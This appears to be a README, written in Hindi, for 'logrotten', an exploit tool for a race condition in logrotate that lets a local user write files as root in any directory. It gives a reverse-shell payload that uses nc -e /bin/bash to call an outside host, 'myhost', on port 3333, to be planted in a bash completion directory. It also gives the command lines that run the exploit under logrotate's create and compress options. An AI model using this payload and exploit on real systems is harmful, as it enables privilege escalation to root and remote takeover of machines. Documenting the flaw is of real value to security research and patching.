[!WARNING]
यह रिपॉजिटरी https://codeberg.org/whotwagner/logrotten पर स्थानांतरित कर दी गई है। नवीनतम अपडेट के लिए कृपया नए स्थान पर जाएँ।

लॉगरोटेट में रेस कंडीशन जीतकर विशेषाधिकार बढ़ाना

Logrotten Logo

संक्षिप्त विवरण

logrotate लॉगफ़ाइल का नाम बदलने के बाद रेस कंडीशन के प्रति संवेदनशील है।
यदि logrotate को root के रूप में निष्पादित किया जाता है, ऐसे विकल्प के साथ जो फ़ाइल बनाता है (जैसे create, copy, compress, आदि), और उपयोगकर्ता के पास लॉगफ़ाइल पथ का नियंत्रण है, तो किसी भी निर्देशिका में फ़ाइलें लिखने के लिए रेस-कंडीशन का दुरुपयोग करना संभव है।
एक हमलावर "/etc/bash_completition.d/" जैसी निर्देशिकाओं में रिवर्स-शेल लिखकर अपने विशेषाधिकार बढ़ा सकता है।

echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

यदि logrotate.cfg में "create" विकल्प सेट है:

./logrotten -p ./payloadfile /tmp/log/pwnme.log

यदि logrotate.cfg में "compress" विकल्प सेट है:

./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

docker कंटेनर या lvm2-वॉल्यूम के अंदर रेस जीतना कठिन था। logrotten का यह संस्करण विश्वसनीयता में सुधार करता है।